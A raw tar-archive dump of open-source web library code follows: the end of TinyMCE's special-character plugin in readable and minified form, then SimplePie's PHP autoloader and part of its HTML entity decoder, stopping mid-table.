    };
    var Commands = { register: register };

    var register$1 = function (editor) {
      editor.addButton('charmap', {
        icon: 'charmap',
        tooltip: 'Special character',
        cmd: 'mceShowCharmap'
      });
      editor.addMenuItem('charmap', {
        icon: 'charmap',
        text: 'Special character',
        cmd: 'mceShowCharmap',
        context: 'insert'
      });
    };
    var Buttons = { register: register$1 };

    global.add('charmap', function (editor) {
      Commands.register(editor);
      Buttons.register(editor);
      return Api.get(editor);
    });
    function Plugin () {
    }

    return Plugin;

}());
})();
plugin.min.js000064400000020631151024271470007167 0ustar00!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),i=function(e,t){return e.fire("insertCustomChar",{chr:t})},l=function(e,t){var a=i(e,t).chr;e.execCommand("mceInsertContent",!1,a)},a=tinymce.util.Tools.resolve("tinymce.util.Tools"),r=function(e){return e.settings.charmap},n=function(e){return e.settings.charmap_append},o=a.isArray,c=function(e){return o(e)?[].concat((t=e,a.grep(t,function(e){return o(e)&&2===e.length}))):"function"==typeof e?e():[];var t},s=function(e){return function(e,t){var a=r(e);a&&(t=c(a));var i=n(e);return i?[].concat(t).concat(c(i)):t}(e,[["160","no-break space"],["173","soft hyphen"],["34","quotation mark"],["162","cent sign"],["8364","euro sign"],["163","pound sign"],["165","yen sign"],["169","copyright sign"],["174","registered sign"],["8482","trade mark sign"],["8240","per mille sign"],["181","micro sign"],["183","middle dot"],["8226","bullet"],["8230","three dot leader"],["8242","minutes / feet"],["8243","seconds / inches"],["167","section sign"],["182","paragraph sign"],["223","sharp s / ess-zed"],["8249","single left-pointing angle quotation mark"],["8250","single right-pointing angle quotation mark"],["171","left pointing guillemet"],["187","right pointing guillemet"],["8216","left single quotation mark"],["8217","right single quotation mark"],["8220","left double quotation mark"],["8221","right double quotation mark"],["8218","single low-9 quotation mark"],["8222","double low-9 quotation mark"],["60","less-than sign"],["62","greater-than sign"],["8804","less-than or equal to"],["8805","greater-than or equal to"],["8211","en dash"],["8212","em dash"],["175","macron"],["8254","overline"],["164","currency sign"],["166","broken bar"],["168","diaeresis"],["161","inverted exclamation mark"],["191","turned question mark"],["710","circumflex accent"],["732","small tilde"],["176","degree sign"],["8722","minus sign"],["177","plus-minus sign"],["247","division sign"],["8260","fraction slash"],["215","multiplication sign"],["185","superscript one"],["178","superscript two"],["179","superscript three"],["188","fraction one quarter"],["189","fraction one half"],["190","fraction three quarters"],["402","function / florin"],["8747","integral"],["8721","n-ary sumation"],["8734","infinity"],["8730","square root"],["8764","similar to"],["8773","approximately equal to"],["8776","almost equal to"],["8800","not equal to"],["8801","identical to"],["8712","element of"],["8713","not an element of"],["8715","contains as member"],["8719","n-ary product"],["8743","logical and"],["8744","logical or"],["172","not sign"],["8745","intersection"],["8746","union"],["8706","partial differential"],["8704","for all"],["8707","there exists"],["8709","diameter"],["8711","backward difference"],["8727","asterisk operator"],["8733","proportional to"],["8736","angle"],["180","acute accent"],["184","cedilla"],["170","feminine ordinal indicator"],["186","masculine ordinal indicator"],["8224","dagger"],["8225","double dagger"],["192","A - grave"],["193","A - acute"],["194","A - circumflex"],["195","A - tilde"],["196","A - diaeresis"],["197","A - ring above"],["256","A - macron"],["198","ligature AE"],["199","C - cedilla"],["200","E - grave"],["201","E - acute"],["202","E - circumflex"],["203","E - diaeresis"],["274","E - macron"],["204","I - grave"],["205","I - acute"],["206","I - circumflex"],["207","I - diaeresis"],["298","I - macron"],["208","ETH"],["209","N - tilde"],["210","O - grave"],["211","O - acute"],["212","O - circumflex"],["213","O - tilde"],["214","O - diaeresis"],["216","O - slash"],["332","O - macron"],["338","ligature OE"],["352","S - caron"],["217","U - grave"],["218","U - acute"],["219","U - circumflex"],["220","U - diaeresis"],["362","U - macron"],["221","Y - acute"],["376","Y - diaeresis"],["562","Y - macron"],["222","THORN"],["224","a - grave"],["225","a - acute"],["226","a - circumflex"],["227","a - tilde"],["228","a - diaeresis"],["229","a - ring above"],["257","a - macron"],["230","ligature ae"],["231","c - cedilla"],["232","e - grave"],["233","e - acute"],["234","e - circumflex"],["235","e - diaeresis"],["275","e - macron"],["236","i - grave"],["237","i - acute"],["238","i - circumflex"],["239","i - diaeresis"],["299","i - macron"],["240","eth"],["241","n - tilde"],["242","o - grave"],["243","o - acute"],["244","o - circumflex"],["245","o - tilde"],["246","o - diaeresis"],["248","o slash"],["333","o macron"],["339","ligature oe"],["353","s - caron"],["249","u - grave"],["250","u - acute"],["251","u - circumflex"],["252","u - diaeresis"],["363","u - macron"],["253","y - acute"],["254","thorn"],["255","y - diaeresis"],["563","y - macron"],["913","Alpha"],["914","Beta"],["915","Gamma"],["916","Delta"],["917","Epsilon"],["918","Zeta"],["919","Eta"],["920","Theta"],["921","Iota"],["922","Kappa"],["923","Lambda"],["924","Mu"],["925","Nu"],["926","Xi"],["927","Omicron"],["928","Pi"],["929","Rho"],["931","Sigma"],["932","Tau"],["933","Upsilon"],["934","Phi"],["935","Chi"],["936","Psi"],["937","Omega"],["945","alpha"],["946","beta"],["947","gamma"],["948","delta"],["949","epsilon"],["950","zeta"],["951","eta"],["952","theta"],["953","iota"],["954","kappa"],["955","lambda"],["956","mu"],["957","nu"],["958","xi"],["959","omicron"],["960","pi"],["961","rho"],["962","final sigma"],["963","sigma"],["964","tau"],["965","upsilon"],["966","phi"],["967","chi"],["968","psi"],["969","omega"],["8501","alef symbol"],["982","pi symbol"],["8476","real part symbol"],["978","upsilon - hook symbol"],["8472","Weierstrass p"],["8465","imaginary part"],["8592","leftwards arrow"],["8593","upwards arrow"],["8594","rightwards arrow"],["8595","downwards arrow"],["8596","left right arrow"],["8629","carriage return"],["8656","leftwards double arrow"],["8657","upwards double arrow"],["8658","rightwards double arrow"],["8659","downwards double arrow"],["8660","left right double arrow"],["8756","therefore"],["8834","subset of"],["8835","superset of"],["8836","not a subset of"],["8838","subset of or equal to"],["8839","superset of or equal to"],["8853","circled plus"],["8855","circled times"],["8869","perpendicular"],["8901","dot operator"],["8968","left ceiling"],["8969","right ceiling"],["8970","left floor"],["8971","right floor"],["9001","left-pointing angle bracket"],["9002","right-pointing angle bracket"],["9674","lozenge"],["9824","black spade suit"],["9827","black club suit"],["9829","black heart suit"],["9830","black diamond suit"],["8194","en space"],["8195","em space"],["8201","thin space"],["8204","zero width non-joiner"],["8205","zero width joiner"],["8206","left-to-right mark"],["8207","right-to-left mark"]])},t=function(t){return{getCharMap:function(){return s(t)},insertChar:function(e){l(t,e)}}},u=function(e){var t,a,i,r=Math.min(e.length,25),n=Math.ceil(e.length/r);for(t='<table role="presentation" cellspacing="0" class="mce-charmap"><tbody>',i=0;i<n;i++){for(t+="<tr>",a=0;a<r;a++){var o=i*r+a;if(o<e.length){var l=e[o],c=parseInt(l[0],10),s=l?String.fromCharCode(c):"&nbsp;";t+='<td title="'+l[1]+'"><div tabindex="-1" title="'+l[1]+'" role="button" data-chr="'+c+'">'+s+"</div></td>"}else t+="<td />"}t+="</tr>"}return t+="</tbody></table>"},d=function(e){for(;e;){if("TD"===e.nodeName)return e;e=e.parentNode}},m=function(n){var o,e={type:"container",html:u(s(n)),onclick:function(e){var t=e.target;if(/^(TD|DIV)$/.test(t.nodeName)){var a=d(t).firstChild;if(a&&a.hasAttribute("data-chr")){var i=a.getAttribute("data-chr"),r=parseInt(i,10);isNaN(r)||l(n,String.fromCharCode(r)),e.ctrlKey||o.close()}}},onmouseover:function(e){var t=d(e.target);t&&t.firstChild?(o.find("#preview").text(t.firstChild.firstChild.data),o.find("#previewTitle").text(t.title)):(o.find("#preview").text(" "),o.find("#previewTitle").text(" "))}};o=n.windowManager.open({title:"Special character",spacing:10,padding:10,items:[e,{type:"container",layout:"flex",direction:"column",align:"center",spacing:5,minWidth:160,minHeight:160,items:[{type:"label",name:"preview",text:" ",style:"font-size: 40px; text-align: center",border:1,minWidth:140,minHeight:80},{type:"spacer",minHeight:20},{type:"label",name:"previewTitle",text:" ",style:"white-space: pre-wrap;",border:1,minWidth:140}]}],buttons:[{text:"Close",onclick:function(){o.close()}}]})},g=function(e){e.addCommand("mceShowCharmap",function(){m(e)})},p=function(e){e.addButton("charmap",{icon:"charmap",tooltip:"Special character",cmd:"mceShowCharmap"}),e.addMenuItem("charmap",{icon:"charmap",text:"Special character",cmd:"mceShowCharmap",context:"insert"})};e.add("charmap",function(e){return g(e),p(e),t(e)})}();14338/SimplePie.tar000064400003514000151024420100007615 0ustar00autoloader.php000064400000007652151024210710007417 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * PSR-4 implementation for SimplePie.
 *
 * After registering this autoload function with SPL, the following line
 * would cause the function to attempt to load the \SimplePie\SimplePie class
 * from /src/SimplePie.php:
 *
 *      new \SimplePie\SimplePie();
 *
 * @param string $class The fully-qualified class name.
 * @return void
 */
spl_autoload_register(function ($class) {

    // project-specific namespace prefix
    $prefix = 'SimplePie\\';

    // base directory for the namespace prefix
    $base_dir = __DIR__ . '/src/';

    // does the class use the namespace prefix?
    $len = strlen($prefix);
    if (strncmp($prefix, $class, $len) !== 0) {
        // no, move to the next registered autoloader
        return;
    }

    // get the relative class name
    $relative_class = substr($class, $len);

    // replace the namespace prefix with the base directory, replace namespace
    // separators with directory separators in the relative class name, append
    // with .php
    $file = $base_dir . str_replace('\\', '/', $relative_class) . '.php';

    // if the file exists, require it
    if (file_exists($file)) {
        require $file;
    }
});

// autoloader
spl_autoload_register(array(new SimplePie_Autoloader(), 'autoload'));

if (!class_exists('SimplePie'))
{
	exit('Autoloader not registered properly');
}

/**
 * Autoloader class
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Autoloader
{
	protected $path;

	/**
	 * Constructor
	 */
	public function __construct()
	{
		$this->path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'library';
	}

	/**
	 * Autoloader
	 *
	 * @param string $class The name of the class to attempt to load.
	 */
	public function autoload($class)
	{
		// Only load the class if it starts with "SimplePie"
		if (strpos($class, 'SimplePie') !== 0)
		{
			return;
		}

		$filename = $this->path . DIRECTORY_SEPARATOR . str_replace('_', DIRECTORY_SEPARATOR, $class) . '.php';
		include $filename;
	}
}
src/Decode/HTML/Entities.php000064400000041531151024210710011554 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Decode HTML Entities
 *
 * This implements HTML5 as of revision 967 (2007-06-28)
 *
 * @deprecated Use DOMDocument instead!
 * @package SimplePie
 */
class SimplePie_Decode_HTML_Entities
{
	/**
	 * Data to be parsed
	 *
	 * @access private
	 * @var string
	 */
	var $data = '';

	/**
	 * Currently consumed bytes
	 *
	 * @access private
	 * @var string
	 */
	var $consumed = '';

	/**
	 * Position of the current byte being parsed
	 *
	 * @access private
	 * @var int
	 */
	var $position = 0;

	/**
	 * Create an instance of the class with the input data
	 *
	 * @access public
	 * @param string $data Input data
	 */
	public function __construct($data)
	{
		$this->data = $data;
	}

	/**
	 * Parse the input data
	 *
	 * @access public
	 * @return string Output data
	 */
	public function parse()
	{
		while (($this->position = strpos($this->data, '&', $this->position)) !== false)
		{
			$this->consume();
			$this->entity();
			$this->consumed = '';
		}
		return $this->data;
	}

	/**
	 * Consume the next byte
	 *
	 * @access private
	 * @return mixed The next byte, or false, if there is no more data
	 */
	public function consume()
	{
		if (isset($this->data[$this->position]))
		{
			$this->consumed .= $this->data[$this->position];
			return $this->data[$this->position++];
		}

		return false;
	}

	/**
	 * Consume a range of characters
	 *
	 * @access private
	 * @param string $chars Characters to consume
	 * @return mixed A series of characters that match the range, or false
	 */
	public function consume_range($chars)
	{
		if ($len = strspn($this->data, $chars, $this->position))
		{
			$data = substr($this->data, $this->position, $len);
			$this->consumed .= $data;
			$this->position += $len;
			return $data;
		}

		return false;
	}

	/**
	 * Unconsume one byte
	 *
	 * @access private
	 */
	public function unconsume()
	{
		$this->consumed = substr($this->consumed, 0, -1);
		$this->position--;
	}

	/**
	 * Decode an entity
	 *
	 * @access private
	 */
	public function entity()
	{
		switch ($this->consume())
		{
			case "\x09":
			case "\x0A":
			case "\x0B":
			case "\x0C":
			case "\x20":
			case "\x3C":
			case "\x26":
			case false:
				break;

			case "\x23":
				switch ($this->consume())
				{
					case "\x78":
					case "\x58":
						$range = '0123456789ABCDEFabcdef';
						$hex = true;
						break;

					default:
						$range = '0123456789';
						$hex = false;
						$this->unconsume();
						break;
				}

				if ($codepoint = $this->consume_range($range))
				{
					static $windows_1252_specials = array(0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8");

					if ($hex)
					{
						$codepoint = hexdec($codepoint);
					}
					else
					{
						$codepoint = intval($codepoint);
					}

					if (isset($windows_1252_specials[$codepoint]))
					{
						$replacement = $windows_1252_specials[$codepoint];
					}
					else
					{
						$replacement = SimplePie_Misc::codepoint_to_utf8($codepoint);
					}

					if (!in_array($this->consume(), array(';', false), true))
					{
						$this->unconsume();
					}

					$consumed_length = strlen($this->consumed);
					$this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length);
					$this->position += strlen($replacement) - $consumed_length;
				}
				break;

			default:
				static $entities = array(
					'Aacute' => "\xC3\x81",
					'aacute' => "\xC3\xA1",
					'Aacute;' => "\xC3\x81",
					'aacute;' => "\xC3\xA1",
					'Acirc' => "\xC3\x82",
					'acirc' => "\xC3\xA2",
					'Acirc;' => "\xC3\x82",
					'acirc;' => "\xC3\xA2",
					'acute' => "\xC2\xB4",
					'acute;' => "\xC2\xB4",
					'AElig' => "\xC3\x86",
					'aelig' => "\xC3\xA6",
					'AElig;' => "\xC3\x86",
					'aelig;' => "\xC3\xA6",
					'Agrave' => "\xC3\x80",
					'agrave' => "\xC3\xA0",
					'Agrave;' => "\xC3\x80",
					'agrave;' => "\xC3\xA0",
					'alefsym;' => "\xE2\x84\xB5",
					'Alpha;' => "\xCE\x91",
					'alpha;' => "\xCE\xB1",
					'AMP' => "\x26",
					'amp' => "\x26",
					'AMP;' => "\x26",
					'amp;' => "\x26",
					'and;' => "\xE2\x88\xA7",
					'ang;' => "\xE2\x88\xA0",
					'apos;' => "\x27",
					'Aring' => "\xC3\x85",
					'aring' => "\xC3\xA5",
					'Aring;' => "\xC3\x85",
					'aring;' => "\xC3\xA5",
					'asymp;' => "\xE2\x89\x88",
					'Atilde' => "\xC3\x83",
					'atilde' => "\xC3\xA3",
					'Atilde;' => "\xC3\x83",
					'atilde;' => "\xC3\xA3",
					'Auml' => "\xC3\x84",
					'auml' => "\xC3\xA4",
					'Auml;' => "\xC3\x84",
					'auml;' => "\xC3\xA4",
					'bdquo;' => "\xE2\x80\x9E",
					'Beta;' => "\xCE\x92",
					'beta;' => "\xCE\xB2",
					'brvbar' => "\xC2\xA6",
					'brvbar;' => "\xC2\xA6",
					'bull;' => "\xE2\x80\xA2",
					'cap;' => "\xE2\x88\xA9",
					'Ccedil' => "\xC3\x87",
					'ccedil' => "\xC3\xA7",
					'Ccedil;' => "\xC3\x87",
					'ccedil;' => "\xC3\xA7",
					'cedil' => "\xC2\xB8",
					'cedil;' => "\xC2\xB8",
					'cent' => "\xC2\xA2",
					'cent;' => "\xC2\xA2",
					'Chi;' => "\xCE\xA7",
					'chi;' => "\xCF\x87",
					'circ;' => "\xCB\x86",
					'clubs;' => "\xE2\x99\xA3",
					'cong;' => "\xE2\x89\x85",
					'COPY' => "\xC2\xA9",
					'copy' => "\xC2\xA9",
					'COPY;' => "\xC2\xA9",
					'copy;' => "\xC2\xA9",
					'crarr;' => "\xE2\x86\xB5",
					'cup;' => "\xE2\x88\xAA",
					'curren' => "\xC2\xA4",
					'curren;' => "\xC2\xA4",
					'Dagger;' => "\xE2\x80\xA1",
					'dagger;' => "\xE2\x80\xA0",
					'dArr;' => "\xE2\x87\x93",
					'darr;' => "\xE2\x86\x93",
					'deg' => "\xC2\xB0",
					'deg;' => "\xC2\xB0",
					'Delta;' => "\xCE\x94",
					'delta;' => "\xCE\xB4",
					'diams;' => "\xE2\x99\xA6",
					'divide' => "\xC3\xB7",
					'divide;' => "\xC3\xB7",
					'Eacute' => "\xC3\x89",
					'eacute' => "\xC3\xA9",
					'Eacute;' => "\xC3\x89",
					'eacute;' => "\xC3\xA9",
					'Ecirc' => "\xC3\x8A",
					'ecirc' => "\xC3\xAA",
					'Ecirc;' => "\xC3\x8A",
					'ecirc;' => "\xC3\xAA",
					'Egrave' => "\xC3\x88",
					'egrave' => "\xC3\xA8",
					'Egrave;' => "\xC3\x88",
					'egrave;' => "\xC3\xA8",
					'empty;' => "\xE2\x88\x85",
					'emsp;' => "\xE2\x80\x83",
					'ensp;' => "\xE2\x80\x82",
					'Epsilon;' => "\xCE\x95",
					'epsilon;' => "\xCE\xB5",
					'equiv;' => "\xE2\x89\xA1",
					'Eta;' => "\xCE\x97",
					'eta;' => "\xCE\xB7",
					'ETH' => "\xC3\x90",
					'eth' => "\xC3\xB0",
					'ETH;' => "\xC3\x90",
					'eth;' => "\xC3\xB0",
					'Euml' => "\xC3\x8B",
					'euml' => "\xC3\xAB",
					'Euml;' => "\xC3\x8B",
					'euml;' => "\xC3\xAB",
					'euro;' => "\xE2\x82\xAC",
					'exist;' => "\xE2\x88\x83",
					'fnof;' => "\xC6\x92",
					'forall;' => "\xE2\x88\x80",
					'frac12' => "\xC2\xBD",
					'frac12;' => "\xC2\xBD",
					'frac14' => "\xC2\xBC",
					'frac14;' => "\xC2\xBC",
					'frac34' => "\xC2\xBE",
					'frac34;' => "\xC2\xBE",
					'frasl;' => "\xE2\x81\x84",
					'Gamma;' => "\xCE\x93",
					'gamma;' => "\xCE\xB3",
					'ge;' => "\xE2\x89\xA5",
					'GT' => "\x3E",
					'gt' => "\x3E",
					'GT;' => "\x3E",
					'gt;' => "\x3E",
					'hArr;' => "\xE2\x87\x94",
					'harr;' => "\xE2\x86\x94",
					'hearts;' => "\xE2\x99\xA5",
					'hellip;' => "\xE2\x80\xA6",
					'Iacute' => "\xC3\x8D",
					'iacute' => "\xC3\xAD",
					'Iacute;' => "\xC3\x8D",
					'iacute;' => "\xC3\xAD",
					'Icirc' => "\xC3\x8E",
					'icirc' => "\xC3\xAE",
					'Icirc;' => "\xC3\x8E",
					'icirc;' => "\xC3\xAE",
					'iexcl' => "\xC2\xA1",
					'iexcl;' => "\xC2\xA1",
					'Igrave' => "\xC3\x8C",
					'igrave' => "\xC3\xAC",
					'Igrave;' => "\xC3\x8C",
					'igrave;' => "\xC3\xAC",
					'image;' => "\xE2\x84\x91",
					'infin;' => "\xE2\x88\x9E",
					'int;' => "\xE2\x88\xAB",
					'Iota;' => "\xCE\x99",
					'iota;' => "\xCE\xB9",
					'iquest' => "\xC2\xBF",
					'iquest;' => "\xC2\xBF",
					'isin;' => "\xE2\x88\x88",
					'Iuml' => "\xC3\x8F",
					'iuml' => "\xC3\xAF",
					'Iuml;' => "\xC3\x8F",
					'iuml;' => "\xC3\xAF",
					'Kappa;' => "\xCE\x9A",
					'kappa;' => "\xCE\xBA",
					'Lambda;' => "\xCE\x9B",
					'lambda;' => "\xCE\xBB",
					'lang;' => "\xE3\x80\x88",
					'laquo' => "\xC2\xAB",
					'laquo;' => "\xC2\xAB",
					'lArr;' => "\xE2\x87\x90",
					'larr;' => "\xE2\x86\x90",
					'lceil;' => "\xE2\x8C\x88",
					'ldquo;' => "\xE2\x80\x9C",
					'le;' => "\xE2\x89\xA4",
					'lfloor;' => "\xE2\x8C\x8A",
					'lowast;' => "\xE2\x88\x97",
					'loz;' => "\xE2\x97\x8A",
					'lrm;' => "\xE2\x80\x8E",
					'lsaquo;' => "\xE2\x80\xB9",
					'lsquo;' => "\xE2\x80\x98",
					'LT' => "\x3C",
					'lt' => "\x3C",
					'LT;' => "\x3C",
					'lt;' => "\x3C",
					'macr' => "\xC2\xAF",
					'macr;' => "\xC2\xAF",
					'mdash;' => "\xE2\x80\x94",
					'micro' => "\xC2\xB5",
					'micro;' => "\xC2\xB5",
					'middot' => "\xC2\xB7",
					'middot;' => "\xC2\xB7",
					'minus;' => "\xE2\x88\x92",
					'Mu;' => "\xCE\x9C",
					'mu;' => "\xCE\xBC",
					'nabla;' => "\xE2\x88\x87",
					'nbsp' => "\xC2\xA0",
					'nbsp;' => "\xC2\xA0",
					'ndash;' => "\xE2\x80\x93",
					'ne;' => "\xE2\x89\xA0",
					'ni;' => "\xE2\x88\x8B",
					'not' => "\xC2\xAC",
					'not;' => "\xC2\xAC",
					'notin;' => "\xE2\x88\x89",
					'nsub;' => "\xE2\x8A\x84",
					'Ntilde' => "\xC3\x91",
					'ntilde' => "\xC3\xB1",
					'Ntilde;' => "\xC3\x91",
					'ntilde;' => "\xC3\xB1",
					'Nu;' => "\xCE\x9D",
					'nu;' => "\xCE\xBD",
					'Oacute' => "\xC3\x93",
					'oacute' => "\xC3\xB3",
					'Oacute;' => "\xC3\x93",
					'oacute;' => "\xC3\xB3",
					'Ocirc' => "\xC3\x94",
					'ocirc' => "\xC3\xB4",
					'Ocirc;' => "\xC3\x94",
					'ocirc;' => "\xC3\xB4",
					'OElig;' => "\xC5\x92",
					'oelig;' => "\xC5\x93",
					'Ograve' => "\xC3\x92",
					'ograve' => "\xC3\xB2",
					'Ograve;' => "\xC3\x92",
					'ograve;' => "\xC3\xB2",
					'oline;' => "\xE2\x80\xBE",
					'Omega;' => "\xCE\xA9",
					'omega;' => "\xCF\x89",
					'Omicron;' => "\xCE\x9F",
					'omicron;' => "\xCE\xBF",
					'oplus;' => "\xE2\x8A\x95",
					'or;' => "\xE2\x88\xA8",
					'ordf' => "\xC2\xAA",
					'ordf;' => "\xC2\xAA",
					'ordm' => "\xC2\xBA",
					'ordm;' => "\xC2\xBA",
					'Oslash' => "\xC3\x98",
					'oslash' => "\xC3\xB8",
					'Oslash;' => "\xC3\x98",
					'oslash;' => "\xC3\xB8",
					'Otilde' => "\xC3\x95",
					'otilde' => "\xC3\xB5",
					'Otilde;' => "\xC3\x95",
					'otilde;' => "\xC3\xB5",
					'otimes;' => "\xE2\x8A\x97",
					'Ouml' => "\xC3\x96",
					'ouml' => "\xC3\xB6",
					'Ouml;' => "\xC3\x96",
					'ouml;' => "\xC3\xB6",
					'para' => "\xC2\xB6",
					'para;' => "\xC2\xB6",
					'part;' => "\xE2\x88\x82",
					'permil;' => "\xE2\x80\xB0",
					'perp;' => "\xE2\x8A\xA5",
					'Phi;' => "\xCE\xA6",
					'phi;' => "\xCF\x86",
					'Pi;' => "\xCE\xA0",
					'pi;' => "\xCF\x80",
					'piv;' => "\xCF\x96",
					'plusmn' => "\xC2\xB1",
					'plusmn;' => "\xC2\xB1",
					'pound' => "\xC2\xA3",
					'pound;' => "\xC2\xA3",
					'Prime;' => "\xE2\x80\xB3",
					'prime;' => "\xE2\x80\xB2",
					'prod;' => "\xE2\x88\x8F",
					'prop;' => "\xE2\x88\x9D",
					'Psi;' => "\xCE\xA8",
					'psi;' => "\xCF\x88",
					'QUOT' => "\x22",
					'quot' => "\x22",
					'QUOT;' => "\x22",
					'quot;' => "\x22",
					'radic;' => "\xE2\x88\x9A",
					'rang;' => "\xE3\x80\x89",
					'raquo' => "\xC2\xBB",
					'raquo;' => "\xC2\xBB",
					'rArr;' => "\xE2\x87\x92",
					'rarr;' => "\xE2\x86\x92",
					'rceil;' => "\xE2\x8C\x89",
					'rdquo;' => "\xE2\x80\x9D",
					'real;' => "\xE2\x84\x9C",
					'REG' => "\xC2\xAE",
					'reg' => "\xC2\xAE",
					'REG;' => "\xC2\xAE",
					'reg;' => "\xC2\xAE",
					'rfloor;' => "\xE2\x8C\x8B",
					'Rho;' => "\xCE\xA1",
					'rho;' => "\xCF\x81",
					'rlm;' => "\xE2\x80\x8F",
					'rsaquo;' => "\xE2\x80\xBA",
					'rsquo;' => "\xE2\x80\x99",
					'sbquo;' => "\xE2\x80\x9A",
					'Scaron;' => "\xC5\xA0",
					'scaron;' => "\xC5\xA1",
					'sdot;' => "\xE2\x8B\x85",
					'sect' => "\xC2\xA7",
					'sect;' => "\xC2\xA7",
					'shy' => "\xC2\xAD",
					'shy;' => "\xC2\xAD",
					'Sigma;' => "\xCE\xA3",
					'sigma;' => "\xCF\x83",
					'sigmaf;' => "\xCF\x82",
					'sim;' => "\xE2\x88\xBC",
					'spades;' => "\xE2\x99\xA0",
					'sub;' => "\xE2\x8A\x82",
					'sube;' => "\xE2\x8A\x86",
					'sum;' => "\xE2\x88\x91",
					'sup;' => "\xE2\x8A\x83",
					'sup1' => "\xC2\xB9",
					'sup1;' => "\xC2\xB9",
					'sup2' => "\xC2\xB2",
					'sup2;' => "\xC2\xB2",
					'sup3' => "\xC2\xB3",
